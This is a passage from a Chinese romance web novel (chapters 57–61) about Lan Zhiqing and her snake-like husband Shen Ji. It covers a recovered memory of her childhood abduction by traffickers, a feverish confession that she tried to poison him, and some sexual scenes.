兰稚青吓了一跳,她感受着体内奇怪的震动感,下意识又开始挣扎了起来,带着哭腔道:“你快拿出来!你快把它拿出来!” “可是宝贝,你和我是签过协议的,如果我和你发生过度的亲密行为,那我就算违约。” 沈寂自有自己的道理,他慢条斯理道:“我没有办法,只能这样帮你了。” “不算违约……不算违约,你把它拿出来,我不算你违约。” 兰稚青又开始想哭了,她抱着面前的沈寂说遍了甜言蜜语,给他贡献了数不尽的亲亲,终于换得他勉为其难地松口。 “好吧,我可以自己亲自帮你,但是你要给我做一个保证,算作补充协议。” 沈寂凑到兰稚青的耳边轻声说了几句话,他从旁边拿过手机,打开录音放到她的面前,温吞道:“念一遍吧。” “我……我是因为自己忍不住,所以才要找老公帮忙的……” 兰稚青脸色涨红,她一边忍着震动的奇怪感,一边按照沈寂的要求念出补充协议,声音越说越小,“是我毁约在先,我会心甘情愿接受惩罚……” 兰稚青抹着眼泪又说不下去了,沈寂心满意足结束了录音,他是个信守承诺的人,主动伸手探进去取出了还在作乱的震动物体,顺便抱着兰稚青调整了一下姿势。 他无意间碰到了已经红肿的位置,兰稚青可怜巴巴地哼唧了一声。 “抱歉乖乖。” 沈寂亲了亲她的脸颊,柔声道:“我轻一点。” 兰稚青逐渐又掉进了他的陷阱,她觉得自己就像是晒到太阳的雪人,一点一点逐渐融化,在意识迷蒙之间,她听到沈寂轻声说了一句,“原来你的发情期是在春天……” “我没有……我才没有发情……” 兰稚青想要为自己开口辩解,可是很快又因为的沈寂的吻丢盔卸甲,像是一汪水一样化在了他的怀里。 沈寂一直担心兰稚青会脱水,所以结束之后他帮着兰稚青洗澡上药,末了又端了杯水过来让她喝。 兰稚青累得昏昏欲睡,她凑过去胡乱喝了一口,迷迷糊糊道:“我的手机呢?” 床上的被子枕头乱成一团,沈寂翻了翻没有找到,干脆用自己的手机给兰稚青打了个电话,角落里很快响起了兰稚青的手机铃声。 “找到了,原来在这里。” 沈寂从枕头底下翻出了兰稚青的手机,本来想直接还给兰稚青,但是看到手机屏幕上的备注却又陷入了沉默。 “亲爱的,你要不要解释一下。” 沈寂似笑非笑地捏了捏兰稚青的脸颊,问道:“为什么你手机上给我的备注是难伺候的大小姐。” 兰稚青闻言微微一僵,她默默闭上了眼睛,小声道:“我不知道,我已经睡着了。” 第58章 第58章好笨 “这个备注……就是……” 兰稚青觉得自己的语言系统都瘫痪了,她破罐子破摔把头埋回了被子里,闷声闷气道:“我就是这么备注了,你想怎么样就怎么样吧……” “乖乖,你为什么会这么说。” 沈寂把她从被子里捞了出来,温声道:“我没有怪你,只是觉得有点奇怪而已。” 他抱着兰稚青亲了亲,兰稚青懒得再动,哼唧了两声又窝进了他的怀里。 “我当初一直以为你是女孩子……” 她顿了顿,小声解释道:“而且你出手又那么阔绰,我当然以为你就是大小姐了。” 至于后面发现了之后也没改,一个是因为私底下叫习惯了,第二是因为沈寂真的很难伺候。 “原来是这样,我还以为是有什么别的原因……” 沈寂把她抱得更紧了一些,兰稚青就像是刚刚晒过太阳的小绵羊,柔软又温暖,是和他完全不一样的温度。 他抱着这只暖呼呼的小绵羊,感受着她的身体随着呼吸而逐渐起伏,在兰稚青即将陷入沉睡的时候,他轻声开口问道:“你七岁时被拐卖的事情,你真的已经全部不记得了吗?” 七岁…… 兰稚青意识朦胧,她下意识想搜寻自己的这段记忆,可是脑中却像是蒙上了一层厚厚的迷雾,让她完全看不准方向。 说起来她好像之前也见过一个大小姐,可是到底是什么时候…… “琴琴……兰子琴……” 兰稚青在睡梦朦胧中被人推醒,金发蓝眼的外国女人站在她的面前,她的中文口音很奇怪,念出来的名字也怪里怪气。 “你照顾好妹妹。” 她把一个穿着白衣服的小女孩推到了她的怀里,转而自己去了副驾驶座,和坐在前面的男人嘀嘀咕咕。 “Sophie,那个小孩看起来有点邪性,大晚上的穿着白衣服出现在这里,太不吉利了。” “可是她漂亮啊,简直就是atemberaubend,肯定可以卖个大价钱。” “也是,看她身上的衣服多半也不便宜,不知道是哪家的大小姐跑到这里来了,如果实在卖不掉,我们也可以勒索一笔。” “乐搜?这是什么意思?” “就是Erpressu ng……” 这两个人说话总是会夹杂着几句外国话,兰稚青听不懂,但是却能从仅存不多的几句话里提取出重点。 前两天妈妈说让她以后跟着新的爸爸妈妈去国外生活,新爸爸曾经是爸爸的同事,现在在国外做生意,新妈妈则是一个德国女人,据说家里也很有钱。 妈妈说家里养不起三个孩子了,让她去国外和新的父母一起过好日子。 兰稚青不愿意,但是最后还是被抱上了车。 那对夫妇开着小汽车离开了镇上,到了市区却又换了一辆破旧的卡车。 兰稚青被塞进了卡车的后车厢,里面躺着两三个看起来年纪比她还小的小孩。 “你最好老实一点,要是敢乱动,我就要了你的小命!” 男人威胁了她几句,而后粗暴地关上了车门。 兰稚青也就是在此时才后知后觉,原来自己是被拐卖了。 卡车一路走走停停,不过短短一天的时间,最开始待在这里的几个小孩就已经被卖掉,而她年纪偏大,再加上是个女孩子,所以一直没有找到合适的买主。 “你别怕……” 兰稚青下意识抱紧了怀里的小女孩,试图把自己身上的温度传递给她,她的身上很冷,冷得几乎不像是人的温度,在车门打开的瞬间,她有看到对方的脸,漂亮得就像是个洋娃娃。 “别不要碰我,脏死了。” 对方有些嫌弃地推开了兰稚青,她拍了拍自己身上的灰尘,没好气道:“小姑娘,你知道你自己是被拐卖了吧?” “嗯……” 兰稚青坐在角落里点了点头,透过外面偶尔闪过的路灯光芒,她可以在缝隙之中看到一星半点儿对方的身形。 真的好漂亮,长得好漂亮,身上穿得也很漂亮,看起来确实像电视剧里的大小姐。 兰稚青揉了揉眼睛,小心翼翼问道:“我叫兰稚青,你叫什么名字啊?” 对方态度很冷淡,“这和你没关系,手脏兮兮的就不要揉眼睛了。” 兰稚青闻言默默停下了动作,她低头看了看自己身上灰扑扑的夹克衫,这件夹克衫还是她哥哥穿旧不要的,上面印着加菲猫的图案,可惜现在早就沾满了灰尘。 她有点自卑,所以默默往角落里缩了缩。 好坏哦,果然大小姐都像电视剧上演的那么坏。 大小姐似乎对她的反应有些纳闷,她奇怪问道:“你知道你是被拐的,怎么一点不哭也一点不闹?” 兰稚青有些发愣。 她不知道自己该哭什么,她好像已经在被爸妈卖掉的时候流干了眼泪。 她听到了爸妈在厨房里小声说,把她送给别人养,家里一个月可以多八百块钱的收入,有了这八百块钱,妈妈不用每天骑车一个小时去厂子里上班,哥哥也可以上个好的学校,就连小弟也能买一身新的棉服。 大小姐歪了歪头,了然道:“你家里人对你不好啊。” “不,不是这样的……” 兰稚青攥紧了自己的衣角,她不知是想在对方面前保全自己的面子,还是为了更好的说服自己,她撒谎道:“我爸爸妈妈对我很好,每次家里的鸡腿都给我吃,还给我买新衣服新鞋子……” 大小姐似乎在黑暗里打量了她几眼,但是很快就失去了兴趣,靠在车壁上闭目养神。 晚上温度骤降,兰稚青想要睡觉,可是她冷得直打哆嗦,外面的风刮得很厉害,像是刀子在划着车壁,让人听了就觉得害怕。 她想起了自己第一天过来时认识的小妹妹芳芳,她们晚上的时候抱在一起睡,虽然还是很冷,可是却没有像现在这样吓人。 兰稚青有些犹豫,她想像之前那样凑过去和新来的大小姐一起贴着睡,可是又害怕对方会嫌弃自己,所以只能在黑暗之中小心翼翼挪到她的身边。 大小姐没什么动静,看起来好像已经睡熟了。 兰稚青凑过去想要悄悄和她贴贴取暖,可是却发现对方的身体凉得就像是冰块。 她吓了一跳,连忙学着电视剧上的样子去探她的鼻息,发现她还有呼吸才松了一口气。 “大小姐……妹妹,妹妹你醒醒……” 兰稚青推了推大小姐,可是大小姐却始终没醒,兰稚青没办法,只能脱下自己身上的外套想要帮她取暖。 可是脱到一半她却突然想起什么,犹豫了片刻还是没把自己身上脏兮兮的外套脱下来盖在大小姐的身上,而是脱下了自己穿在里面的兔兔毛衣,把她裹了起来。 兰稚青在黑暗里紧紧抱着大小姐,一边哈气一边用手揉搓着大小姐的脸颊和手,试图让她温暖起来。 她机械重复着这些动作,直到自己也跟着不知不觉间陷入沉睡。 “喂,你醒醒……” 兰稚青在睡梦之中又感受到有人在喊她,她迷茫睁开眼睛,发现大小姐正坐在她的身边,手里还抓着她的兔兔毛衣。 “这件是你的衣服?” “……是我的,昨晚太冷了,我就给你盖上了。” 兰稚青顿了顿,又怯生生补充道:“这件是我穿在里面的,不脏的。” “……好笨,你把衣服给了我,你自己不冷吗?” 大小姐皱眉打量了她一会儿,最终还是认命抱住了她,低声道:“你家住在哪里,我把你送回去吧。” 兰稚青吓了一跳,她觉得有些奇怪,不知道是不是她昨晚没有看清的缘故,她总觉得大小姐看起来变大了一点点。 “我们没办法回去……” “现在有办法了。” 大小姐把兰稚青拉了起来,她抬脚一脚踹开了后车厢的门,兰稚青看得目瞪口呆,震惊道:“好厉害,这是怎么做到的……” “哦,可能是蛇蛇神赐予的力量吧。” 大小姐敷衍了她一句,自己先跳下了卡车,而后把兰稚青也给抱了下来。 兰稚青小心凑到卡车前看了一眼,发现那对夫妇在驾驶座和副驾驶的位置口吐白沫不省人事。 “蛇蛇神好厉害哦……” 兰稚青不清楚发生了什么,但是却被大小姐拉着一直往前走,直到去了最近的一家超市,借了电话报警。 “我有点困了,马上要冬眠了,你有愿望吗,我可以帮你实现。” 大小姐掐了掐兰稚青的脸颊,一本正经道:“你想要钱,想要名利还是地位,更或者是想要长生不老?” 兰稚青趴在玻璃橱窗里看着里面的毛绒兔子,羡慕道:“我想要兔兔。” “……好笨。” 大小姐叹了口气,她付钱买下了那只毛绒兔子送给了兰稚青。 “小孩,你现在还不懂事,或许无法理解我的意思,等我睡醒之后我会再来找你,希望那个时候你有其他靠谱一点的愿望。” “等一下……” “宝贝,醒醒……” 沈寂轻轻晃了晃兰稚青,兰稚青意识朦胧之间缓缓睁开了眼睛,她头疼欲裂,四肢也沉重无比,身上一阵接着一阵发冷。 “宝宝,你生病了,起来吃了药再睡吧。” 第59章 第59章我生病了 兰稚青有些茫然,她乖巧咽下了沈寂递过来的药,迷迷糊糊道:“妮妮……妮妮呢?” “妮妮在这里。” 沈寂把玩偶兔子塞到了兰稚青的怀里,他摸了摸她滚烫的脸颊,温声道:“这么喜欢兔兔呀?” 兰稚青没回答他,她自己抱着兔子蜷缩在被子里,可是看起来似乎还是不太安稳。 她一直在发抖,可却不是因为冷,而是因为莫名的恐惧。 兰稚青觉得自己很害怕,她甚至不能确定自己到底在害怕什么,只是有一种诡异的恐惧从自己的内心深处浮现上来,她不想面对的记忆蜂拥而至,几乎冲溃了她的所有理智。 “宝宝,别害怕,我在这里呢……” 沈寂把她抱进了怀里,像是安抚婴儿一样轻轻拍打着她的后背,直到兰稚青僵硬的身体逐渐放松。 “好疼……沈寂,我的身上好疼……” 兰稚青手指紧攥着沈寂的衣袖,她试图缓解自己身上的不适,可是却意识到这根本是徒劳。 沈寂低头看她,发现她的眼睛已经彻底变为了竖瞳。 她盯着他看向半晌,似乎还没有完全反应过来现在到底发生了什么。 沈寂顿了顿,突然 低头想要吻她。 “不可以亲亲……” 兰稚青吓了一跳,她下意识想要拒绝,小声道:“我生病了……” 沈寂没回答她,而是抬手捏了捏她的脸颊,柔声道:“宝宝,把嘴巴张开。” 兰稚青还在犹豫,可是沈寂却已经掐着她的下巴亲了上去。 他今天有些用力过度,甚至咬破了她的下唇。 兰稚青闷哼了一声,她本来是想推开沈寂,可是却突然感觉自己身上的疼痛逐渐缓解,她紧绷已久的神经开始逐渐放松,连带着挣扎的力度也越来越小。 她的体温逐渐开始下降,可是身体却依旧柔软,此时趴在沈寂的身上,看起来像是也变成了一条小蛇。 体温起伏不定,眼睛变成竖瞳,甚至开始出现发情期…… 下一步应该就会是意识出现短暂的混乱,再昏睡二十四小时之后,所有的一切就都会结束。 虽然进程发展地比他想象中的更快,但是结果却也让他满意。 沈寂摸了摸兰稚青的脸颊,思索片刻突然起身拿起桌上的小刀,轻轻割破了自己的指尖。 鲜红的血珠缓缓渗出,他把手指递到了兰稚青的面前,兰稚青像是受到了什么蛊惑一样含住了他的指尖。 她毫无章法地咬着沈寂的指尖,诡异的血腥味在她的口腔中蔓延,可是她的身体却似乎达到了极乐的边缘。 兰稚青不自觉地夹紧了双腿,脑中闪过一片白光,她觉得自己像是喝醉了,更或者准确来说,她的灵魂和身体仿佛被彻底分离。 “兔兔……送给我的兔兔……” 兰稚青茫然盯着沈寂,她似乎已经放弃了思考,只是会机械重复着几个字眼,“兔兔……蛇……” 沈寂帮她盖上了被子,他不知道兰稚青到底是在说些什么,只是低头轻轻咬了一口她的脸颊,随口随口道:“嗯,你是兔兔蛇。” “兔兔蛇……” 兰稚青缓慢眨了眨眼,她下意识捂住了自己的屁股,蜷缩在被子里瑟瑟发抖,哀求道:“兔兔不敢了,不要咬兔兔的尾巴……” “别怕别怕,不会咬你的尾巴的……” 沈寂没办法,只能把兰稚青抱在怀里轻声细语地好好安抚,兰稚青现在正处于意识混乱的阶段,她说的话颠三倒四,上一秒还在兴高采烈说要给大胖蛇买苹果吃,下一秒就哭唧唧沈寂之前打她屁股咬她豆豆。 按理来说她应该很快就困了,可是不知道是不是由于喝了沈寂的血,她比沈寂想象中的还要亢奋。 原本今天学校还有一场讲座,沈寂既不放心兰稚青一个人留在家里,也不放心别人照顾兰稚青,所以干脆和学校请了两天假。 A市最近总是下雨,从早到晚淅淅沥沥不停,外面的天色才刚蒙蒙亮,兰智正就撑着伞在附近徘徊。 他盯着雨幕里若隐若现的别墅,有些犹疑地给路锡鸣发去了消息。 【鸣哥,你确定我姐他们真的住在这里?】 【嗯,我确定。】 路锡鸣许久又补充了一句,【你可以去和你姐好好谈谈,我相信她一定会动容的。】 谈谈……他现在怎么和兰稚青谈。 反正不管他怎么说,兰稚青都不会愿意出手帮忙的。 兰智正对路锡鸣的话嗤之以鼻,本来他只是以为兰稚青傍了个大款,还没有想好自己到底要不要动手。 可是自从路锡鸣告诉了他兰稚青现在的住处之后,他就彻底把那些顾虑抛到了脑后。 但凡他成功了,那他后半辈子估计也就不用发愁了。 这些都是兰稚青欠他的,是他应得的。 别墅区的附近有24小时在巡逻的保安,兰智正不敢贸然接近,他只是守在远处,借着路边大树的遮蔽隐藏自己的身形,探头观察着来往出入的车辆。 可是这样做也实在没办法得到什么有效信息,几个小时下来除了眼红那些豪车之外,丝毫没有任何收获。 他思考了片刻,还是给路锡鸣发去了消息。 【鸣哥,我感觉我自己堵在这里拦车不太现实,你能不能再帮我想想办法,让我进去看看。】 路锡鸣放在一旁的手机屏幕亮了起来,他扫了一眼,并没有直接给兰智正回复。 他对兰智正的所有计划都了然于心,或者更加准确来说,是他暗中引导着兰智正做出这样的计划。 但是他并不打算直接给兰智正提供任何帮助,因为他清楚得很,一旦兰智正东窗事发,那他作为帮凶就会紧跟着遭殃。 他只喜欢作壁上观,不喜欢胡乱去趟不该趟的浑水。 眼见着讲座开始的时间差不多到了,路锡鸣扫了一眼台上,却只看到两个陌生的老师,始终不见沈寂的身影。 他犹豫了一下,凑到旁边问道:“不好意思,麻烦问一下,这次的讲座管理学院的是不是沈寂老师有参加?” “沈老师吗……他好像有事不来了吧。” 对方闻言摇了摇头,随口道:“我也不太清楚,你要是有急事的话可以发邮件给教学秘书问问。” “我知道了,麻烦了。” 路锡鸣朝对方友善点了点头,起身的时候脸色隐隐变得有些不虞,也不管台上的老师已经开始说话,他抓起自己的背包起身从后门离开。 沈寂竟然不来了…… 那他不就白白浪费时间特地翘课跑到了C大。 可是到底是为什么突然不来了,是因为临时有事,还是兰智正那个蠢货干的蠢事又被发现了…… 路锡鸣百思不得其解,他此时满腹疑问,根本没注意到有人和自己擦肩而过。 纪云飞好不容易才找到了报告厅的位置,他回头看了路锡鸣一眼,眼底闪过些许诧异,突然开口喊住了对方。 “前面那位穿黑衣服的同学……” 路锡鸣听到动静下意识回头,看到站在自己身后不远处的纪云飞不由得皱了皱眉,他反问道:“你在喊我?” 纪云飞点了点头,解释道:“是,我刚刚看到你从第二报告厅出来,想问一下里面是不是沈寂老师的讲座。” “沈寂今天有事没来。” 路锡鸣随口应了一声,转身就打算离开。 纪云飞盯着他的背影半晌,突然间又拦在了他的面前。 “你有事吗?” 路锡鸣吓了一跳,他上下打量了纪云飞一眼,皱眉道:“不好意思,我还要去上课,能不能请你先让开。” “这位同学,你……” 纪云飞顿了顿,突然开口道:“你是C大的学生吗?” “是又怎么样,不是又怎么样,这和你有关系吗。” 路锡鸣本来就心情烦躁,此时看到纪云飞这么纠缠不休,他更是失去了最后的耐心,直接把他推到一旁自顾自下楼离开。 纪云飞盯着他的背影陷入了沉思,许久才喃喃自语道:“真是造孽啊……” 第60章 第60章我是美人鱼 兰稚青觉得自己像是做了一场漫长的梦,梦里的记忆光怪陆离,她像是一只无头苍蝇一样完全找不到方向。 她梦到自己抱着大小姐送她的玩偶兔子回家,家里人因为她突然回来吓了一跳,梦到沈寂在她的食物里偷偷下了奇怪的东西想要杀了她,还梦到很久不见的大胖蛇趴在她的身上吐着信子…… 不对,她没有做梦,她现在明明就是睁着眼睛的。 人类怎么可能会睁着眼睛睡觉呢,她又不是蛇。 好渴,而且好热…… 兰稚青觉得自己已经有些分不清梦境与现实,她跌跌撞撞从床上爬了起来,凭借身体的记忆在家 里漫无目的地到处乱晃,可是四处没有找到沈寂的身影,最后只能去了地下室的酒窖。 别墅最开始的设计就有酒窖的存在,但是她不会喝酒,几乎从来没有踏足过这里。 酒窖里恒温恒湿的环境明显让她感到很舒服,兰稚青抱着一瓶红酒仰躺在地毯上,玻璃冰凉的触感让她舒服地喟叹了一声。 她试图像打开普通的饮料瓶子一样把酒瓶拧开,可是瓶口的木塞塞得很紧,她的手心都磨红了也没把酒打开。 兰稚青有些茫然,她想要找东西解渴,但是又不想离开这块舒适的区域。 她的意识和身体好像在此时此刻又发生了分离,在她发呆的间隙,她手中的酒瓶缓缓松开,直接摔在了地上。 兰稚青在睡前吵着要花园里的玫瑰花,沈寂让助理联系花店加急送过来一束,可是兰稚青却说这肯定不是花园里的玫瑰花。 “我在花园里的玫瑰花里偷偷撒了敌敌畏。” 兰稚青眼神亮晶晶地趴在沈寂的怀里,神神秘秘道:“里面只有一支最漂亮的玫瑰花我没有撒哦。” “敌敌畏?” 沈寂闻言怔了一下,奇怪道:“宝宝,你往玫瑰花里撒敌敌畏做什么?” 兰稚青甜甜一笑,老实道:“嘿嘿,因为我想把你偷偷毒死。” 沈寂:“……” “我要我的玫瑰花,你快去给我摘我的玫瑰花。” 兰稚青在沈寂的怀里一边哭一边打滚,也不知道又是突然想起什么了,抽泣道:“你们都不喜欢我,你也不喜欢我了……” 沈寂实在没办法,只能先把意识混乱的兰稚青给哄睡了,自己撑着伞去花园里寻找兰稚青说的玫瑰花。 他实在无法确定兰稚青说的到底是那一支玫瑰,干脆用花剪把开放的玫瑰全部剪下来。 可是等他抱着玫瑰回来之后才发现,本来应该在睡觉的兰稚青突然消失得无影无踪。 沈寂绕着家里转了一圈,试图寻找兰稚青的身影,直到下楼时听到酒窖传来一声脆响,他连忙推门过去查看。 “……宝宝?” 沈寂推门而入,看到里面的景象差点被吓得魂飞魄散。 兰稚青坐在地毯上发着呆,手里还握着一个摔碎的酒瓶,酒瓶的碎片和红酒撒了一地,沈寂甚至分不清她身上沾的到底是酒还是血。 他快步上前夺走了兰稚青手里的酒瓶,把她拉起来上上下下仔细检查了一遍,紧张道:“有没有哪里受伤?” “我想喝水……” “真是的,要喝水怎么跑到酒窖来了。” 沈寂捏了捏兰稚青的脸颊,轻声道:“嘴巴张开,检查一下你有没有偷偷喝酒。” “我没喝酒。” 兰稚青像是一个无尾熊一样趴在他的身上,迷迷糊糊道:“这里好舒服……” 她哼哼唧唧得不愿抬头,沈寂也没办法,只能先把她抱回房间,倒了杯水喂给她喝。 兰稚青咕嘟咕嘟喝完了一杯水,她有些茫然地盯着沈寂半晌,疑惑道:“好奇怪,为什么你和我老公长得这么像……” 沈寂闻言摸了摸她的脸颊,温声道:“乖乖,我就是你的老公啊。” 兰稚青似乎有些疑惑,喃喃道:“可是我老公应该已经死翘翘了。” “……为什么会死翘翘了?” “你小声一点,我悄悄告诉你。” 兰稚青压低声音趴在沈寂的耳边小声道:“我老公在我吃的东西里下毒被我发现了,我就把毒都下到他的饭菜里了。” 沈寂:“……” 怪不得他的发情期突然提前了这么长时间。 坏兔!坏兔!从来没见过这么坏的兔子! 沈寂差点被气笑了,他不知道自己这个时候是该气兰稚青一点都不信任自己,还是该笑兰稚青意识混乱就把自己所有的秘密抖得干干净净。 他恶狠狠抱着兰稚青亲了几口泄愤,兰稚青被他亲得迷迷糊糊的,突然又开始尖叫。 “好疼……好疼……” “怎么了宝宝?” 沈寂吓了一跳,他连忙想要查看兰稚青的情况,兰稚青却委屈巴巴把自己缩了起来,带着哭腔道:“你压到我的尾巴了……” 沈寂盯着她的两条腿陷入了沉默。 虽然他经常说兰稚青是兔兔,也想过要把兰稚青变成属于她的小蛇。 但是如果现在他的视力没有出错的话,兰稚青现在确实还是长着两条腿的人类吧。 他耐着性子对兰稚青问道:“宝宝,你到底是哪里疼,是不是刚刚被碎片割伤了?” 兰稚青还是刚刚那番说辞,抱着自己的腿哭唧唧道:“尾巴疼,你压到我的尾巴了。” “宝贝,可是你是人类,你没有尾巴啊。” “我不是人。” 兰稚青晃了晃自己的腿,得意道:“我是小美人鱼。” “好吧,小美人鱼,盖好你的被子。” 沈寂把兰稚青的腿,不对,她的人鱼尾巴塞回了被子里,兰稚青觉得热想要挣开,但是却被沈寂一句话给打断了,“你是热带鱼,需要保暖的。” “我是热带鱼吗……” 兰稚青眨了眨眼,似乎对自己的设定有些许的怀疑,不过她还没来得及反驳,就又被沈寂给问住了。 “小美人鱼,你上岸是来做什么的呢?” “我上岸……” 兰稚青有些茫然,她思索了很久,开口道:“我上岸是为了找我的救命恩人,她是公主,十五年前把我从鱼贩子手里救了下来。” 沈寂:“……” 这个故事变得越来越离谱了。 …… 睡梦中的兰稚青觉得自己像是一个蚕茧,被不知道什么东西死死包裹了起来,她的手脚都没办法移动,迷迷糊糊甚至还能感受到有东西在啃她的脸。 等一下…… 在啃她的脸?! 兰稚青猛然睁开眼睛,猝不及防和罪魁祸首沈寂对上了视线,她愣了一下,下意识抬手想要推开对方。 “你为什么又咬我!” “对不起,因为没有忍住。” 一回生二回熟,三回轻车熟路四回得寸进尺。 沈寂虽然道歉了,可是神色坦然无比,语气里没有一点想要认错的意思,仿佛自己刚刚不是在咬兰稚青的脸颊,而是不小心啃了一块香喷喷的草莓蛋糕。 兰稚青气得想要打他,可是沈寂却先一步伸手摸了摸她的额头,温声道:“太好了,烧已经退了。” “我又发烧了是吗?” 兰稚青闻言也摸了摸自己的额头,小声道:“怎么最近生病总是这么频繁……” 也不知道到底从什么时候开始,她好像经常莫名其妙生病发烧。 可是她的发烧似乎也和普通人的发烧不太一样,不像是普通的风寒或者感冒,烧退了之后还会有后遗症,她只要睡一觉立马神清气爽,丝毫没有受到半点影响。 “可能是因为最近换季了吧。” 沈寂面不改色心不跳道:“也可能是不小心着凉了,毕竟那天晚上玩得有点过……” 这件事不提倒还好,一提兰稚青就想起自己买了小玩具结果赔了夫人又折兵的惨痛事迹,她气得又把自己埋进了被子里,拒绝和沈寂继续进行交流。 沈寂对此早就已经习以为常,他刚刚打算把被子掀开,兰稚青就已经有些犹豫地又探出了头。 她仔细盯着沈寂的面容,似乎还有些犹疑,纳闷道:“我们之前是不是见……” “没错,十五年前我们一起被人贩子绑架了,你把你的兔兔毛衣借给我穿,之后临走时我帮你买了一只毛绒兔子玩具,就是我们的妮妮。” “年龄小是因为我长得比较晚,像女孩子这一点是你主观认定的,为什么会出现在那里是旅游的时候不小心走丢了,能踹开车门弄昏人贩子是因为练过防身术。” “另外……” 沈寂从旁边拿出了自己早就准备好的检测报告,一本正经道:“这是详细的药物检测报告,研究所今天早上刚刚送过来的,你还有什么要问的吗。” 兰稚青:“……” 不是,沈寂把她要问的话全都说完了,那她还有什么可说的。 “你……你怎么之前不告诉我啊。” 兰稚青有些震惊,她试图把沈寂和自己记忆力的大小姐联系在一起,可是却后知后觉自己对大小姐的记忆只剩下一个模糊的身影。 如果不是真的听到沈寂承认,她甚至只会以为这只是自己的幻觉,她盯着沈寂许久,最终干巴巴挤出一句话:“如果你早点说,那我就不会……” 沈寂见状挑了挑眉,笑吟吟道:“你是指不会在玫瑰花上喷 敌敌畏,不会在饭菜里下毒,不会在枕头底下藏麻绳和美工刀吗?” 兰稚青闻言一怔,她难以置信地看向沈寂,颤声道:“你都知道了……” 沈寂没有说话,两人漫长对视了一分钟,兰稚青鼻子一酸,眼泪突然又啪嗒啪嗒地掉了下来,再度把自己埋在被子里抽泣不停。 之前她不敢和沈寂问东问西是因为害怕沈寂杀掉她,后来她不敢多问也不敢坦白是害怕沈寂的质问。 如果沈寂想要杀她,那她的行为姑且算得上自保,如果沈寂从来没有想过杀她,那就是她以小人之心度君子之腹,她是个彻头彻尾的坏女人。 “我们什么时候去离婚……” 兰稚青越想越觉得崩溃,她不敢出去面对沈寂的质问,只能埋在被子里闷声闷气和他道歉。 “对不起,都是我的错,是我对不起你,我是大坏蛋……” 沈寂本来只是想借此讨点好处,没想到兰稚青却要离婚,他有些慌张,连忙想要把兰稚青从被子里捞出来。 “宝宝,这又不是什么大不了的事,哪有离婚这么严重……” 兰稚青死死缩在被子里,小声道:“可是我往玫瑰花上喷敌敌畏……” “没关系的乖乖,正好杀虫了,谁家养花不杀虫子,你看我们家的玫瑰长得多好。” “我在枕头底下藏了美工刀和麻绳……” “这是有自保意识,而且我们玩得不是很开心吗?” “可是我还偷偷往你饭菜里下毒。” “下毒……这不是还没毒死吗。” 沈寂费尽九牛二虎之力终于把哭成泪人的兰稚青从被子里挖了出来,他仔仔细细擦拭着她脸上的眼泪,柔声道:“一切都过去了,这些都只是误会而已。” “可是我很坏……” 兰稚青眨了眨眼,她凑过去怯生生亲了一口沈寂的脸颊,可怜巴巴道:“对不起,是我的错……” “宝宝,你没有错。” 沈寂良心微痛,他连忙开口打断了她的话,抱着她轻声安慰,“没事了,一点小误会而已,不要放在心上。” 他见她还是闷闷不乐,只能问道:“宝宝,如果我不小心做错了事情,比如说我也瞒着你或者骗了你,你会原谅我吗?” 兰稚青仔细想了想,她有些迟疑地点了点头,小声道:“我会原谅你的。” 沈寂是她的救命恩人,是她的伴侣,也是她在这个世界上唯一的家人,只要不是原则性的问题,兰稚青觉得自己可以原谅他的任何过错。 “既然这样,我们将心比心,这些小误会根本没什么大不了的。” 沈寂顿了顿,再度确认道:“不过你真的会原谅我吧,比如说我瞒着你一些事情……” “……” 兰稚青有些迟疑地点了点头,但仔细想了想又觉得不太对劲,警惕问道:“你不会又偷了我的小恐龙内裤吧?!” 60-70 第61章 第61章海绵兔兔 小恐龙内裤的事最终还是不了了之,兰稚青倒是心存怀疑,可奈何自己拿不出证据,而且自己有错在先,实在也不好发难,只能任由沈寂蒙混过关。 原本兰稚青突然发烧生病,沈寂只是和学校请了两天的假,后来兰稚青病好了,他反而又额外多请了一个周。 倒不是因为兰稚青还有什么后遗症,而是自从她得知自己小时候曾经被沈寂救过,再加上自己对之前的事情有所愧疚的缘故,现在她几乎对沈寂百依百顺,不管什么离谱的要求她都愿意答应。 早知道这么简单就能让兰稚青心软,那这种事情他在和兰稚青网恋的时候就应该直接说才对。 沈寂匆匆处理完手头上的工作,他的眼角余光瞥到了窝在不远处沙发上的兰稚青,她的身上穿着黑白配色的兔兔女仆装,正抱着平板在认真画画,头上的兔耳朵随着她的动作晃来晃去,看起来格外引人注目。 “乖乖,你可以过来一下吗?” 沈寂突然冷不丁地开口要求,兰稚青闻言眨了眨眼,她默默放下了手中的平板,叮叮当当走过去坐到了他的腿上,歪头等着他下一步的指示。 她今天主动兑现兔兔女仆还带铃铛就已经很不可思议了,现在竟然还这么乖,沈寂有点受宠若惊,得寸进尺道:“宝宝,你亲一亲我。” 兰稚青还是没有拒绝,她凑过去含住了沈寂的唇瓣,有些不太熟练地复刻着沈寂之前的动作。 按照沈寂的说法,她实在是太喜欢偷懒了,她的接吻就只是唇与唇相贴,再深入一点就是漫无章法地胡乱舔舔,偶尔被沈寂逼得紧了就啃他两口。 书上所描写的攫取对方的呼吸,循序渐进彼此舌尖嬉戏,在她这里都一概不存在。 反正按她这一通乱亲下来,沈寂都会忍不住重新接过主导权。 可是今天兰稚青啃了好几口沈寂都没什么反应,她有些茫然地抬头看向沈寂,似乎是在疑惑他为什么不亲她。 她抿了抿唇,小声提醒道:“我亲完了。” “是吗,这样就算亲完了?” 沈寂似笑非笑地看了她一眼,他的手顺势探进了兰稚青的裙摆,勾住了那一条窄窄的布料。 兰稚青吓了一跳,兔子尾巴上挂着的铃铛也立马跟着响了起来。 “等一下……” 兰稚青想要制止,可是想了想自己之前对沈寂的所作所为,她一时又觉得心虚,一时不察就又被沈寂按在的书桌上。 皮肤陡然间接触到冰凉的桌面,兰稚青下意识打了个哆嗦,她想要逃跑,可是刚刚有所动作就被沈寂按住了大腿。 沈寂从她的裙摆里褪下了那一小团已经洇湿的布料,上面圆滚滚的兔尾巴还可怜巴巴地挂在上面。 “又湿了,你是海绵兔兔吗?” 兰稚青脸色涨红,她刚想骂沈寂不要脸,可是又想起自己理亏的事情,她又默默闭上了嘴,任由沈寂亲她的脸颊。 “不喜欢这里……” 兰稚青皱了皱眉,小声道:“桌子好硬。” “那我们换个地方。” 沈寂闻言把她抱了起来,转而去了兰稚青刚刚还在坐着的懒人沙发上。 兰稚青当初在家具展上一眼就看中了它,棉花软软的,一坐下就可以陷进去,但是对于现在这种情况,明显就有点不太乐观了。 沈寂不知道又从哪里摸出一个铃铛系在了兰稚青的脖子上,这样她一动就会叮叮当当的响。 